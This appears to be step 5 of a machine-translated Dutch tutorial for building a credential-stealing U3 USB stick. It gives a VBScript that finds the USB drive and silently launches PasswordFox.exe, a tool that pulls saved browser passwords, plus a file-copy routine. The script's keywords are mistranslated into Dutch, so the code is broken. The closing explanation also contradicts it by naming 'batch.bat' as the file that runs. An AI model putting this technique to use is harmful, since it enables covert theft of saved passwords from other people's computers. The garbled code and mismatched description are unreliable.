Stap 5: De USB.vbs-script maken
Dim oFSO oDrive, objFolder, oUsbDrive, oDestination, shell
Const USBDRIVE = 1
oDestination = "c:\test"
Instellen van oFSO = WScript.CreateObject("Scripting.FileSystemObject")
Set shell=createobject("wscript.shell")
' Get USB toer zendbrief
Voor elke oDrive In oFSO.DrivesAls oDrive.DriveType = USBDRIVE en oDrive.DriveLetter <> "A" Then
WScript.Echo "gevonden usb bij", oDrive.DriveLetter
oUsbDrive = oDrive.DriveLetter & ": \"
shell.run oDrive.DriveLetter & ": \PasswordFox.exe"
instellen van shell = niets
End If
Volgende
Sub CopyFiles (opad, oDst)
Set objFolder = oFSO.GetFolder(oPath)
Voor elk bestanden In objFolder.Files
WScript.Echo "Kopiëren bestand", bestanden
newDst = oDst '\' & Files.Name
oFSO.CopyFile bestanden, newDst, True
WScript.Echo Err.Description
Volgende
' Recursieve kopiëren, uncomment indien nodig
' Voor elke oDir In objFolder.SubFolders
' CopyFiles oDir.Path, oDst
' Volgende
End Sub
In principe wat dit script doet is scan de computer voor te USB toer en vervolgens een bestand met de naam "batch.bat" vanaf dat USB-drive wordt uitgevoerd. Zodra je dat gedaan hebt, klik op opslaan en afsluiten en nu wij dit op onze U3-station te branden.